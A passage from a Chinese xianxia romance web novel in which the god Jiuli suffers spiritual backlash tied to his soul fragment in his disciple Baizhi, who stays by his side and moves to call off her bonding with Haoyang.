受不住?圯上老人马上理解神尊说的是白虎星君。但他有些惊讶,神尊师徒历劫归来后,他特意问过诸夏,白虎星君的身子虽弱些,但魂魄已经塑成,神尊抽回残存魂魄不过是多受些皮肉之苦。 白虎星君怎么会受不住? “是不是再让诸夏来看看,按理说服下还魂珠后,白虎星君的元神不久便能稳固……”圯上自顾自分析了一番,但还未说完他自己先反应过来,这些神尊不可能不知道。 所以神尊是心疼白虎星君? 但白虎星君的一点点骨肉之痛比起三界安稳孰轻孰重? 即便此问题拿到白虎星君面前,他也是敢问出口的,白虎星君是深明大义的神仙,否则当初她也不会以身祭阵。 还是说,这只是神尊单方面的顾虑?白虎星君还不知道神尊残有魂魄在她元神里? “嗯。”上座的男子淡淡说道。 确实该收回了。 又是出乎圯上老人的回答 没想到神尊这么轻易又松口,圯上老人不禁觉得刚刚是他多虑了,或许神尊只是想选取最合适的时机取回魂魄。 圯上此番过来,原也是提醒,但现在看来这些明显都在神尊的掌控之中,他适时不再多言。 不过今日的神尊……有些说不上来的奇怪,圯上犹豫了一下,还是问道:“神尊是有什么烦心事么?” 烦心? 原来是在烦心。 是啊,真烦心。 圯上老人没忘记此番上九重天还带着仙帝的嘱托,见九黎没否认,他小心翼翼问道:“是否是白虎星君结契之事?” 闻言,九黎终于抬眸睨了圯上老人一眼。 圯上老人没错过上首男子眸里略过的那抹暗色,他心底一惊,神情还是如往常温蔼,只是再说出来的话却与原先准备的大为不同。 “那个,昊阳仙君的确是个不错的人选,昊阳仙君乃水系根骨,正好与星君所修火系相生相成,神尊既担心星君……” 呵,那小虎兽主意还是一如既往的大。 “谁担心她。” “……” 话被打断,圯上老人噎了噎,神尊当真没听出他话里的重点么?不是担不担心,而是白虎星君与昊阳仙君结契确实于她有益 不过,神尊对他提到此事未有一丝惊讶,想必早已知晓。既如此,那事情就好办了,仙帝也无需再纠结。 “是,是”圯上老人点头道。 提醒也提醒了,仙帝交待的事也完成了,圯上没有留下的理由了。他往后退了一步,银白的鬓角如霜雪般肃穆,满是皱纹的眼角弯起时自带几分慈和,“那老仙就先告退了……”- 圯上从九重天出来后第一时间便去了仙帝的玉清殿,说明神尊对白虎星君结契的态度。 当然他没有向仙帝说的是,其实神尊的态度也有些含糊,他甚至绕过他的话,既未说同意,也没说不同意。 而从这里的蹊跷开始,圯上老人的心便开始悬在半空,心里不知为何有种很不好的预感。 仙帝的顾虑他暂且可以理解,但结契一事于白虎星君来说,不考虑蜚语流言,那便只有好处。 而蜚语流言是最不值一提的东西,神尊向来也不在意这些,所以,神尊此番态度便显得有些微妙了。 圯上不是什么都不懂的人,尤其情爱,有桑尤战神堕魔在前,他对神尊这种含糊的态度一时间有些杯弓蛇影。 但他第一时间摁灭心中猜想,神尊不是桑尤,神尊生来便是主万物之神,落拓不羁,万事尽在掌控 可桑尤也是神。 桑尤堕魔,证明即使是无所不能的神,也会有弱点。 那么,白虎星君是神尊的弱点么? 圯上不敢再想。 好在仙帝从他口中得知神尊的意思后,也已经松口,昊阳仙君很快便会与白虎星君结契。 一切只是他多想。 但圯上老人没想到,他刚回到自己的仙邸不久,青凝便碎了几道裂痕,他心里暗道不好,因此,刚离开九重天不到半日,他又急匆匆回到此处。 而匆忙赶去九重天时,他不忘吩咐身边的仙将赶紧去仙医馆叫上诸夏。 第104章 第104章游走在他的容忍线上 圯上老人是第一次踏入兰因殿,等待九黎调息的间隙中,他眼眸不动声色扫了周围一眼。 不 知为何,屋内虽简单整洁,但他直觉这里的一切布置,都是出自那位顽劣却也天真可爱的白虎星君手笔。 从入门处五彩朝霞编织成的珠帘开始,到窗边神尊坐着的那个铺着浅黄色绒毯的小榻 越是注意看这些细节,再看那榻上神尊明显是被反噬的模样,他心里就越发不安。 榻上,九黎还闭着眼,他原本清冷如玉的面容泛着几丝潮红,薄唇紧抿成线,却仍有一丝猩红自唇角滑落,在下颌处凝成触目惊心的血珠…… 一旁忙着铺开医袋的诸夏却不似圯上老人,他不是第一次进兰因殿,白芷刚回来时,他在这里为白芷诊脉治疗过。见九黎嘴边那血珠凝成深色,他急呼一声“不好”,就地坐到地上。 广袖轻拂间,诸夏指尖绽出点点青芒,他腰间悬着的药葫芦自行开启,数十道灵药精华在青色芒光的指引下在虚空中交织成碧色,顺着他并指所向没入九黎眉间。 见那碧色在九黎眉间流转徘徊一小会,便不受阻地渗入,诸夏松了口气,还好神尊配合,否则以他修为无法将灵药施予神尊之身。 圯上老人在一旁忧心忡忡,但又不敢随意开口,只能用眼神不错眼地盯着正在施医的诸夏。 诸夏却也分不出心神看他,他双掌并指紧握,渡出本命真元之力才堪堪能压制住九黎体内紊乱的灵气漩涡。待榻上男子眉间那抹若隐若现的红光彻底褪下时,诸夏已经满头汗珠,脸色几近苍白。 灵力收势之后,诸夏双手松垮耷拉到腿上,待稍有力气之后,他喘着气找到自己的药葫芦,从里面囫囵倒出几颗银色药丸,一把塞到嘴里,而后苍白的脸上才慢慢回了血色。 诸夏瘫坐在地上,望着榻上还在隐忍皱眉的男子,稚童般地脸不禁皱得死死的。 神尊这模样,可非常不对劲。 而安静呆在一旁的圯上老人见诸夏摇头,神色愈发沉重。 诸夏回望他,他知道老人的担忧和疑问,只是,他也不清楚神尊为何突然灵力失控。 但不管原因如何,这都不是什么好兆头,况且,诸夏没有错过刚刚进来时,神尊眉间隐现一抹红光…… 那便是说,神尊或许已经不是第一次失控了,那些失控的灵力已经淌进血液脏腑中,若不再及时控制制止,恐怕…… 或许是因为元神残缺的缘故? “让白虎星君过来吧。”诸夏用商量的语气对圯上老人低声说道,稚嫩的圆脸上是认真到不能再认真的表情,即便不能马上抽魂,但神尊那些残存在白虎星君身上的魂魄离他越近越好…… 而他话音刚落,榻上的男子正好睁眼,瞳孔里还余扭曲的裂纹残影。 圯上老人和诸夏呼吸同时一滞,一时间谁都没有开口,静静地等待观察着九黎的反应。 九黎瞳孔中的裂纹慢慢消退,只是体内横冲直撞的紊乱灵气还未彻底平复,他的身子绷得极紧,双眸睁开时似有霎时的迷茫,直到看清眼前二人 “神尊。” “神尊。” 圯上老人和诸夏见九黎目光扫过,齐齐向前走了一步,诸夏更是直接跪到九黎身侧,手抬在半空,眼神询问。 九黎淡淡嗯了一声,诸夏眼神立马亮了亮,娇小的身子又往前挪了两步,指尖搭上九黎的寸关。 圯上老人站在一旁默不作声,凝着眉盯着诸夏的指尖,他很难形容心里的是什么感觉。 不止在凡人眼中,仙人眼中,神也是无所不能的。但现在,圯上来人竟然从这位御控四方,高高在上的神尊眉眼间看到了几分倦色 圯上老人神色说不出的复杂,也是在这出神之际,他来不及阻止诸夏脱口而出的话。 诸夏说:“神尊体内的灵力不是第一日失控吧?” “依下仙拙见,神尊当尽早取回残余魂魄固守元神。” 诸夏把过白芷的脉,很是清楚白芷如今的状况,大概也知道神尊为何迟迟没有动手,他向来想到什么便说什么,“若不然,神尊也应当让星君陪伴在侧,魂魄未取回,星君最好不要离神尊十步之远。” 魂魄散而灵难聚,何况神尊抽取魂魄已有万年之久,再不取回,以后或许就不只是灵力失控,严重的话诸夏不敢想下去。 但取回也不是说取就取,白芷身子太弱,那最好选在阳气最盛的日子,正好不久后便是末夏,不过末夏之前,为避免神尊再次出现这样灵力失控的情况,白芷星君最好守在神尊身边,以安其魂魄。 来不及阻止诸夏的话,圯上老人也只能静静等待男子的态度。 白虎星君结契的事情即将落定,神尊会不会等她结契完再行抽取魂魄之事呢?圯上老人想着,神尊虽否认他担忧白虎星君的话,但明眼人谁看不出来,若不是心疼白虎星君,这魂魄早取晚取并无甚区别,神尊不过是舍不得星君受多点苦 这样想来,神尊大抵还是会等白虎星君结契后再 “嗯,让她过来吧。”九黎淡淡应道。 神尊竟能听他的劝,诸夏脸上立即绽出几分笑颜,立马应承着说要亲去临云水榭把白虎星君引来,顺便告知她些要十分小心注意的事项。 九黎没有再理会诸夏自言自语的话,目光瞥向一旁欲言又止,神色复杂的圯上老人身上。 清凌凌的目光落在身上,圯上顶着无形威压回望过去。 眼前的神尊神色如往常无波,像从未沾染温度的冰雪琉璃,可也是因为这天生高不可攀的圣洁,反而给人一种不可冒犯的疏离和压迫。 但有些话,圯上老人不得不提醒。 “是否让白虎星君结契之后再行” “这怎么行?来不及了,白虎星君必须马上来神尊身边”诸夏正收拾好东西准备退下,听到圯上老人的话语,直接反驳,“结契一事,我会同星君解释清楚” 眼下神尊灵力失控才是大事,白芷结契的事情早两天晚两天影响不大,诸夏知道这事甚至不需要同白芷解释,若她知道神尊的境况,她定然也是以神尊为先的。 她那人,对身边的人向来在意着紧得很。 圯上老人咬了咬牙,顶着威压已经把话说出来了,他不想轻易放弃劝说,况且 殿内一时无声 圯上老人看着榻上一言不发的男子,心下多了几分期冀,或许神尊 “去吧。”轻飘飘的一语落定,不留任何商量的余地。 “”- 云海之间,金色琉璃瓦上流淌着霞彩,偶有仙鹤衔芝掠过。 白芷是在睡梦中被叫醒,此时坐在七彩雀的臂翅上,满脸迷茫听着一旁诸夏事无巨细的叮嘱。 “总之,神尊此时最忌躁动,你切不要做让神尊起怒之事。” “还有,你最好寸步不离神尊身边,若察觉神尊灵力有所异动,定要……” “算了,你现在不一定察觉得出……” 白芷不知道有没有在仔细听,她眸中还有雾气朦胧。 直到临近凌霄殿,七彩雀收臂俯行,一直迷迷糊糊的白芷才抬眸看诸夏。 “师尊,很不好么?” 女子的声音很低,周围又有风声吹拂,落到诸夏耳朵里,这声音低得都快要散开了,但诸夏还是听得出来,那声音里夹藏着小心翼翼地试探。 这样的白芷诸夏还是第一次见,他圆溜溜的眼眸睁得大大的。 对视之时,白芷睫毛轻颤了颤,见诸夏目露惊奇,她眉心皱了皱,有种心思被看破的尴尬。 白芷心思澄澈,本来就藏不住什么心事,眼眸里满满的愧疚和担忧直白落到诸夏眼中,原本还想取笑她几句的诸夏见女子眸里雾气更甚,喉咙噎了噎。 毕竟刚收了她的炼丹炉,他犹豫要不要开口安慰一下她。 他想说这又不是她的错,她不必愧疚,但这只白虎的情绪来得快收得也快,他还没开口,她已经轻巧跳落到地上,头也不回小跑进殿…… “诶,我说的你听清楚没有啊?”虽然是在殿外,但诸夏也不敢高声喧哗,只好压着嗓子跟在她后面喊。 只不过还没跑两步,就被七彩雀伸过来的一只羽袖拉回。 “你干嘛!”捣什么乱呢这七彩雀,万一那白虎没记清楚出了篓子。 七彩雀看了眼缓缓阖上的殿门,“放心吧,她有分寸的。” 这对师徒一个冷似霜雪,一个热烈如火,看着疏离,但没有人比七彩雀更知道,他们之间,无旁人能插足的间隙。 那疏离的表象之间,有他们相识于微的熟稔,有无数次生死劫难时的并肩作战,那些长如生命的陪伴早已经过光阴的打磨刻下最深的默契。 白芷看着没心没肺,其实心里不知有多在意神尊呢。否则以她做事只看心情喜恶的做派,在他们成为师徒的这几万年,白芷不会每每游走在神尊的容忍线上,做一个还算乖觉的徒弟。 这么多年,七彩雀看多了白芷的敢怒不敢言,每次从外面回来无不是满嘴嘟囔,言语间都是对神尊设的归家时间的埋怨。 可每次忿忿去见神尊,再出来的时候,这只白虎所有的逆鳞总是被抚得平滑光整,又恢复一副笑盈盈没心没肺的模样。 只是这些,可能连白芷本人都不清楚。 当局者迷嘛! 第105章 第105章松口让她留下 自从上次白芷把兰因殿内属于她的小物品都带走后, 屋里看起来宽阔不少。 白芷原本以为师尊此时会在莲花虚境中,但没想到眼神再屋内探时,看到窗边一道挺拔的素衣身影。 她大剌剌靠近的脚步忽地放轻了些,轻喊一声师尊后才轻轻走近。 来时诸夏说师尊灵力失控得厉害,他几乎拼尽毕生修为和无数灵药才勉强帮其压制紊乱灵力,但眼下瞧着师尊的背影,他立得笔直,身姿如松雪,看不出一丝狼狈 白芷心里不禁暗暗嗤道:诸夏那人,说话好像一直都有些夸大,说得都快把她吓死了 “师尊,你还好么?”白芷走到离那身影几步之远时便停下脚步,又唤了一声。 从白芷站在兰因殿外时,九黎就感受到她的气息了。听到她小跑进来嗒嗒的脚步声,不知为何,心里的那股烦躁似乎被抚平了些。 他回过头,不知是不是逆着光的缘故,白芷看到他眼眸沉甸甸的墨色晕染开,脸色看着倒还好,除了眼角还有浅浅未褪尽的殷红,其他都与往日无异。 白芷提着的心稍稍落了落。 小虎兽向来喜欢着鲜艳的衣服,鹅黄浅绿粉红,但今日只着一身月华裁就的浅白素纱流仙裙,轻纱如纱似雾,却不减她身上鲜活明媚。 她生了一双十分好看的眼睛,瞳仁如水洗般纯澈,剔透潋滟,一见到底。 所以她藏不住心思,心事明晃晃地写在脸上。 九黎看得出来小虎兽见到他时松了口气。 是因为担忧? 还是说,过来确认他没事,她又可以安心离开? 他抬起眼眸瞥她,冷冷淡淡的,状似无意问:“结完契了?” 白芷倒是想,但这又不是什么过家家的事,哪有那么快……她如实回道:“还没来得及呢。” 男子清冷眉眼在女子桃花般粉嫩的脸庞上顿了顿,少倾,声音沉了几分。 “那你来做什么?” “……” 难道诸夏叫她过来不是师尊的意思? 好吧想来也不是师尊的意思,他向来嫌她在身边吵闹。 或许平日里见九黎沉脸,白芷会乖乖走远些,但这次她却装听不懂。 “也没什么。”女子打着呵呵说道,“师尊不是说了,让徒儿勤于修炼么?徒儿觉得还是在师尊这里修炼进益最快,所以便来了。” 九黎觑了她一眼,小虎兽右手正无意识绞着自己肩前的一束头发。 显见,又在睁着眼睛说瞎话呢,不过现在他不想计较这些。 白芷见九黎不再开口,自己找了个地方坐下,不知道在琢磨些什么,忽然从袖子里拿出一个乾坤袋,几乎将头凑到袋口前…… 因是急匆匆被临时叫醒,诸夏连梳洗的时间都未留给她,此时白芷一头如瀑青丝照旧只用一根发带系着。 白芷的手使唤各种神器倒是得心应手,偏偏到妆扮上就笨手笨脚,那根发带松松垮垮,发丝像是殿外桂树的枝叶一般,随着她的动作轻轻飘荡着,偶有一缕掠过她雪白的后颈——而她浑然不觉,仍垂眸认真在乾坤袋里翻捡着…… 大概是灵力逆行的后遗症,九黎无意扫了眼前人一眼,忽然觉得有些烦乱。 松口让她留下,大概不是什么好的决定。 “还不进去修炼?” 师尊语气里带着几分不耐,白芷听出来了,翻找的动作滞了滞。 难怪诸夏要让她过来盯着师尊,她只不过弄出些细微的声响他就不耐烦了,往常她在这里翻跟斗他也不会这样 这定力是多不稳啊。 白芷在心里叹了口气,脸上却堆起一抹浅笑,甚是乖巧的模样,“知道了……” 诸夏说了,不能让师尊动怒不能让师尊动怒。 白芷手放在嘴边咳了一声,小心翼翼问道:“师尊可否也进去?” 在诸夏帮她炼好灵药之前,她要确保师尊在她的视线范围之内。 “那个,师尊在,我修炼起来比较安心。”直接说担心他白芷说不出口,只好言不由衷地说道。 四目相对,看着女子说完话后闪烁的的瞳孔,九黎皱了皱眉,还是站了起来- 九黎的情况确实很不好,当白芷在莲座上调息一轮中途睁开眼的时候,就见对面莲座上的九黎正紧皱眉头,他身旁的灵气有些不受控地外泄,莲座上粉白的瓣叶结了一层薄薄的冰霜,清澈透亮。 裙摆曳动,转瞬之间,白芷已经落在九黎的莲座上。 “师尊?”白芷跪在九黎身前,她如今没有什么灵力庇体,甫一靠近就被周围冰霜散发的寒气冻了个激灵。 师尊没有睁眼,白芷不敢随意碰触他,只是心里沉了沉,此时她才知道,诸夏并没有言过其实。 九黎原本只是想坐在莲座上调息,他想之前或许是因为某些缘由操之过急,才导致灵力失控。只是他没想到,他刚刚只是动念使用灵力,那股反噬之力竟又不受控地涌上来 近来常有这样的情况,九黎毫不意外,只是不久前才经历过一次严重的失控,所以当这股反噬之力再涌上时,他忽然觉得有些厌烦。 对自己的厌烦。 为何会失控反噬?他的生活很是单调,所以很快他就找出症结。 即使被镇在下星海的桑尤仍不可小觑,他确实要分出不少心神去对付压制他,但毕竟有缚神索在,桑尤再如何使用手段也不足以令他道心混乱。 无非是从幽冥间回来后小虎兽的一句请求。 或者是,那只是一句告知。 小虎兽要同别人结契。她已经物色好人选,她说是方方面面与她很是匹配的人选。 当下,他脑海一片空白,落下一句“随你”算是回应。 是啊,这本来就应该随她,虽她是他的徒弟,但也只是徒弟,她理所应当可以支配自己的心意,做她想做的事。 想和谁交朋友,喜欢谁,想同谁亲近,这些通通都是她本来就有的自由。 他不过是她的师尊。 兰因殿如大多数时间一般宁静,一丝风声未闻。 屋内青鹤铃壶早已熄了甜腻香火,壶上只余残灰,五彩珠帘纹丝不动,连门外的两个金铃都似忘了摇曳,整座神殿仿佛都被遗弃,坠入无声虚空。 在那样极致的宁静中,连外泄的灵力都悄无声息,寒霜自足下蔓延,将整个小小的兰因殿完全冰封,在周遭皆被冻结之时,偏偏桌上有人落下的两只青玉水杯发出冰封裂纹的细碎声响。 那声响极细微,但还是把九黎从那股难以遏制的失控中唤醒。 那一瞬,九黎的眼眸里闪过与青玉水杯一样的冰封裂纹。 即便拥有浩瀚无匹的力量,他也有连自己都无法掌控的时候。 九黎缓缓睁开眼,一张白皙的脸庞全然映入眼眸。 她的眼里一望见底,此刻只装着他一个人,脸上的每一寸,拧着的眉心,微微下垂的嘴角都明晃晃地写着担忧。 “无事。”九黎视线从那双明冽地叫人心惊的眼眸上移开,淡淡地说道,“别担心。” 周遭的冷冽气息随着男子睁眼渐渐消退,莲瓣上的冰晶随之慢慢融化,晶莹的水珠滴答滴答落下。 白芷还维持着刚刚跪坐的动作,甚至,九黎落声后,她稍稍坐直往前,歪着头仔仔细细探看着。 这怎么会是没事呢? 谁会动不动灵力失控? 就算会,那这世上谁都可以会,唯独不可能也不应该发生在她师尊身上。 九黎清凌凌的眼眸平静看着女子凑近,仿佛巡视一般掠过他身上每一寸。他眉心皱了皱,虽然这是他的莲座,但他的身子微微往后倾,躲开那股随意侵袭的温热。 白芷刚刚恍然间好像看到师尊眉心闪过一丝红光,可此刻凑近了看,那处位置干净平滑,什么都没有。 正当她想再凑近细看时,师尊忽然往后移,清俊到极致的脸庞也微微往右转。 白芷正看得入神,她跪起,一手摁住对面那人的手腕,另 一只手则向上,捧住下颌,下意识去制止他移动的动作。 “” “,,,,,,” 脸被捧住的时候,两人对视一眼,齐齐愣住。 九黎没想到小虎兽胆子那么大,无礼地盯着他看就算了,竟然还敢上手 白芷亦然,没想到心急之下,她的动作竟然如此冒犯之前都不知道保证过多少次会严律自己的言行,但现下看来,那些保证她似乎每次说完后便抛之脑后了 回过神之后,白芷快速收回手,一时间有些局促,手不知该落在何处。 最后是九黎咳了一声,往后退开几寸。 接下来几日,兰因殿如往常一般弥漫着平稳而又和谐的气息。 密室里多了一个人,九黎反而能心无旁骛进入无我之状,专心修炼。 白芷则不然,因着诸夏的嘱咐,又亲眼看到九黎灵力失控,因此九黎修炼时,她寸步不敢离开,乖乖呆在自己的莲座上。 打坐调息,不想修炼时便对着对面莲座上身影躺下,看澄澈的冰蓝灵气从男子身边萦绕开,感受到那些溢散飘到脸上的灵力冰凉却柔和,她心里才觉得安心,长时间的等待和寂静也不觉得无聊 第106章 第106章他意外地,选择顺水推…… 屋内琉璃色的珠光朦胧,男子睁开眼的时候,对面莲座金光黯淡。 九黎神色疏淡,知她向来耐不住性子,约莫又跑走了,他目光平静地从莲座上略过,仿佛一切如常。 许是元神刚刚才从无我修炼中回神落定,那双雪一般凛然的眼眸有些微微放空,眸光极淡,像冬日的薄雾,笼着一层淡淡的郁色。 直到无意间瞥到嵌在两片莲瓣之间的一小截粉色纱衣…… 像是被风偶然掠过的湖面,男子的嘴角极轻地牵动了一下。 骨节修长的手指轻轻弹出一抹灵力,对面莲瓣缓缓展开,露出里面缩成一团睡得酣甜的女子。 两座莲台相近,不用靠近,九黎也能清晰看到女子熟睡的侧颜。 越来越不成样子了,且不说这是专门修炼的地方,她身边还有一个灵力失控的人,她怎么敢在这里睡得这般安然。 男子拧了拧眉,眸里万年不化的霜色却似乎淡了些。 莲瓣展开,朦胧的金光便没有遮挡地落到女子身上,她眉心微微颤动,似挣扎于某个未尽的梦境。 白芷在睡梦中正被穷桑两头凶兽驱赶,梦里她几乎是手无缚鸡之力,只能拖着沉重的腿一直奔跑 就在头顶印出两头凶兽血盆大张的阴影时,她周身被一圈清清凉凉不知何物的水波环绕起来,梦魇渐渐褪去 先是唇间溢出一丝几不可闻的轻叹,而后女子蜷缩着手掌揉了揉眼 “师尊……” 也不知道睡了多久,白芷的声音有些沙哑,发梢随着她转身坐起的动作从肩头滑落。 “师尊,你没事吧?” 九黎淡淡应了一声,目光却从她雾津津的眼眸移开。 为什么她总是那么嗜睡,白芷有些郁闷,还好师尊没事。 “累了就回去吧。”九黎目光虚落在自己的袖口上,淡淡说道。 “嗯?”困意来得快消退也快,白芷挑了挑眉,下意识摇摇头:“我不走。” 声调截然拔高,白芷干咳两声,之后眼前就多了一个碧绿色的净瓶。 她遂抬眸看了九黎一眼,嘴角勾了勾,从善如流地接过打开盖子,将净瓶里的灵液一滴不剩倒入口里。 凉爽浸入,喉间一阵清凉,让人舒服到忍不住耸了耸肩。 白芷将姿势调整为打坐的姿势,语气轻松自如:“师尊还继续么?” 这架势便是要继续呆着了 九黎默了默,终还是应了她。 见师尊摇头,白芷眼神立马亮了起来。 她蹭地一下便站了起来,落到对面莲座上,拉着九黎的袖子,“那我们快出去吧。” 就是要劳逸结合嘛,一直在结界里呆着她都要闷坏了……- 不在结界,九黎大多时候也只是呆在幽篁竹林里,白芷熟知他的习惯,脚步轻巧走在前面带路。 只是走到云梯中途,看见在栏杆处逗留的险仙鹤,她倏地放轻脚步,拎起曳地的裙摆,小心翼翼靠近。 视线内的人儿改了路径,九黎顺着她的视线落到不远处,随之停在原地。 小虎兽提着裙摆踮着脚,杏眼弯成两抹月牙,即使看不清她眼里的神采,他也猜得出来里头定然是浓浓的兴致盎然。 也不知道那只仙鹤如何惹了白芷的眼,她双手抬起,罗袖滑落半截也顾不得陇,只顾盯着那只雄赳赳昂着头的仙鹤。 那仙鹤如何不知有人靠近,只是习惯女子的做派,昂着修长的脖颈,在女子手即将捧住它洁白羽翼时踮脚一跃,一下落到竹林的最高枝上。 白芷仰着头看着枝头上的仙鹤,葱白指尖重重捏在栏杆处。 就没有一次抓住过它们! 在她叹气之时,一道颀长身影绕过她,迈上最后几阶云梯。 九黎落坐到亭上案几之后,手一挥,几卷竹简就落在案几上。 他随手取了一卷,径自看了一会,发现旁边毫无动静时,才把目光移到坐在边角的小身影上。 小虎兽放到哪里都能很好地自娱。 案几不算很大,她自行占了侧边一角,坐姿难得端正,手上拿着一块留音石,安安静静不知刻画着什么。 竹林清风自来,兰草青香,知道主人喜静,仙鹤们只在他们初到时绕在周围飞了几圈,而后便落到枝丫上闭目休憩。 白芷正低着头,在留音石写了长长一串文字。 之前离开幽冥间时她让蚩祗转交了一块留音石给还未苏醒的颜芙,而她的留音石前两日终于亮了,是阿芙同她报平安。 她原本还有些话同她说,不过睡了一觉就被诸夏带来凌霄殿,倒还没将话递出去。 师尊看书时喜静,反正闲着也是闲着,留音石不止能传音也能留字,她索性坐下来慢慢写着字 与阿芙万年没有联系,这期间她身上发生了很多事,想来阿芙也是。她简单说了自己的近况,又挑了几件趣事,没一会便写了长长一段 ‘你呢?你怎么会受那么重的伤?’ ——写到这里,白芷笔锋顿住,她记得蚩祗说阿芙是被后殒追杀但阿芙战力不弱,怎么会被重伤至此,除非被追杀前,她便已经受了伤 正思考要不要深问,一双端着茶盏的手落到视线内。 那手背的筋络微微起伏,像精心雕刻过的白玉竹节,修长而分明。 茶盏后落下后,那双手很快收回,只余一盏青玉茶盏氤氲热气。 白芷缓慢地眨着眼,明显还在思索着如何落笔,半晌后,她将手中的笔放下,左手转而撑着下颌,轻轻叹了口气。 听见她的叹气声,九黎抿茶的动作顿了顿,转而瞥向她。 她懒怏怏地支着下颌,袖摆垂下露出一截洁白如玉的手腕。手腕上,一只泛着淡淡浅蓝的流光手镯很是显眼。 九黎把茶盏放下,神色疏淡,问:“怎么了?” 她面上藏不住事,遇到为难的事就是这样一副神情。 白芷正神游呢,没听清眼前人说了什么,见师尊看着她眼前茶盏,她才反应过来。 “哦,喝茶么。”她双手去捧手边的茶盏,茶水已经有些凉了,入口温吞,只作几口便喝完。 九黎静静看着,待她茶盏放下,他端起茶壶往她茶盏里添茶 显然白芷已经习惯,待九黎倒完,她低低道了声谢。 刚煮开的茶,白芷伸出手指在杯沿触了触,茶烫不好入口,但茶香随着雾气氤氲,虽不懂品茶,也觉得好闻得很。 不知她是没听清还是不想说,九黎没有再问问,转而拿起一卷书。 信一时半会也写不完,白芷索性手掌一挥,想把留音 石收起。但在收起前,留音石正好闪了闪。 有人给她发了信息。 白芷指尖碰触,留音玉就发生声响。 “不知道你什么时候回水榭,我给你送了好些东西,就放在西殿门外,你若出关,记得去取,还有,那个” 留音石内七彩雀的声音很是清亮,白芷及时把留音石摁灭,而后小心翼翼看了眼九黎。 虽只是短短一瞥,不过也能看得清,师尊周身气息清冷而沉静,眉目间也未见半点郁色,出尘之姿丝毫不减 这幅样子,哪有半点灵力失控的模样。 那她稍微离开一小会应该也没问题吧? “那个”白芷手从杯沿缩回,试探性地问道,“师尊还要在此处待挺久吧?” 是她领着他来的,这是待腻了? 见九黎目光似有不解,白芷说:“我有点事想出去一趟。”她盯着男子的神色,解释道:“七彩雀送了点东西过来,我去取一下” 九黎不知道诸夏对她说了什么,以致于她这几日她寸步不离他。他知道自己的情况,她在不在身边,其实用处不大,但他意外地,什么都没解释,反而顺水推舟 “去吧。”九黎淡淡应道- 从凌霄殿出来,白芷直接捏了一个咒,不多时便落到西殿门外。 此时,西殿门外空无一人,一片宁静,只有两篮子青翠欲滴的仙果和几瓶甘露孤零零放在门口。 显然七彩雀放下东西后便已经离开,但白芷还有话同她说,用留音玉又不知道她什么时候才听,她只好又捏了个咒。 在凌霄殿周围,七彩雀甚少使用灵力,白芷猜她应该没走远。果不其然,待她落到正殿前,七彩雀刚好从回廊尽头拐过来。 “雀儿!”白芷赶紧向她招手,喊了她一声- 汜光潭位于幽篁亭东面,潭上九曲玉栏缠着碧藤,垂落星子般的花盏,继续往东边走,十二色琉璃莲花开得正盛,莲香清冽,故最里面的那段长廊也唤莲影长廊。 此时,白芷靠在廊柱上,百无聊赖地折了一根碧藤逗着水里的鱼儿玩。 这几日闲着,她把这万年来尤其是渡劫回来的事情好一番梳理,她如今灵力和修为不比从前,但也好不容易捡回一条命,于她自身,有失有得。 但是,她的命是师尊救回来的,而师尊因为救她,如今神魄不稳随时可能失控。 那么眼下最重要的事情,不是她的修为高低,而是师尊的安康。 她仔细想了想,找昊阳仙君商量结契的事情,到底有些欠缺考虑。 尤其现在,她得时刻守在师尊身边,即便结契,她也无暇顾及。 留音玉中,七彩雀提到昊阳仙君来水榭找过她几次,她这才想起,上次一别后她承诺很快会告诉他进展,但一晃已经过了几日,她也没递过消息给他 终究食言理亏,若是平时,她便直接找上门去,把事情解释清楚,但如今不好擅离九重天,尤其是师尊身边,所以她拦下七彩雀,让她即刻替她去传个信,让昊阳仙君过来相见。 七彩雀做事向来麻利,来回不过一盏茶,就替她将人请过来了。 第107章 第107章结契一事,还是作罢吧…… 汜水潭静卧云间,潭上风光变换,青莲悬于碧波之上,四周云霞静谧悠然。 昊阳仙君在七彩雀的引领下一路走到底,深入他从未踏足之地,只是,他眼睫低垂,并不四处观望。 直到身前七彩雀欸了一声,他才往前看去。 不远处,粉衫女子辨不清眉目,笑意却已然随着潭底波光跃动到眼前。 七彩雀一如往常,无关自己的事不多听不多看,将人带到,跟同白芷打了个照面便从长廊离开。 这莲影长廊平日少人踏足,未置桌椅茶水,白芷左右看了一眼 连招呼人坐下的地方都没有。 昊阳仙君敏锐察觉到女子的窘迫,可他不在意这些,自从上次在仙邸约定好结契后,他已经好几日没见过她了。 也不知道是不是因为历劫回来不久,仙界一日竟让他觉得十分漫长。 她让他等她的消息,他便耐着性子在仙邸里等着。 自小老君们便常夸他心性坚定,可偏偏这几日他就像个不经事的毛头小子,从约定时的喜悦,与父君争辩时的坚定,到等不来消息时的心神不安,这样的他让他自己都觉得陌生。 可那些等待的焦灼,在见到女子纯澈笑靥时一一被安抚。 “灵环雀使说你找我?” 昊阳仙君的声音很是清朗温和,语速不快不慢,听着很是舒心,丝毫听不出来时的心事千重。 “是。”白芷重重点头。 七彩雀在留音玉上上说昊阳仙君这几日来九重天找过她数次……是她考虑欠妥,交待人家等她后却迟迟未给人答复。 “前几日我不知道你来找过我。”她解释道,“那个…是因为我近来有事抽不开身,所以才没去见你。” 看着女子睁着圆圆的眼眸认真解释的模样,昊阳仙君眼眸里不禁也带上笑意,他摇头,“嗯,无妨的。” 见他不计较,女子神情轻松了些,眼眸又弯了几分。 “你在……”昊阳仙君原本想问她这几日在做什么,但话到嘴边又觉得不妥。而且,这里凌霄殿东边,她这几日,或许是和神尊一起罢…… 没关系,他来找她,只是忍不住想在第一时间将好消息告诉她,想让她知道,他的父君不再阻碍,只要她愿意,她想做什么,他都可以陪她 天知道,只是想象能站在她身边,胸腔里那颗心便几乎不受控地跃动,那些难言的喜悦在四肢骨骸中奔涌 见女子忽然拧着眉有些为难的模样,昊阳仙君虚虚飘在半空中的心忽而沉了沉。 仙帝后来确实是松口了,但也没明确表态。莫说白芷是神尊的徒弟,就算是凭她自己的身份,她直接来他面前要昊阳,他也很难说不。 仙帝不想同儿子闹得太僵,但也不想擅做决定,最后听着昊阳的恳求,只是淡淡落下一句:那便看星君的意思吧。 星君的意思,大抵也算是神尊的意思。 “我来是有话同你说。”昊阳仙君敛袖而立,指尖在袍角收紧,话还没说,耳根先染上微微霞色,“我已经同我父君禀报过了,只要你愿意,我们便可以” 见眼前女子目光灼灼,昊阳仙君既是紧张,又怕唐突,青衫下的喉结微微滚动 见昊阳仙君说到后面磕磕绊绊,白芷唇瓣微启又合,最后还是咳了一声,打断他的话。 “那个我找你来,正是想说这件事。” 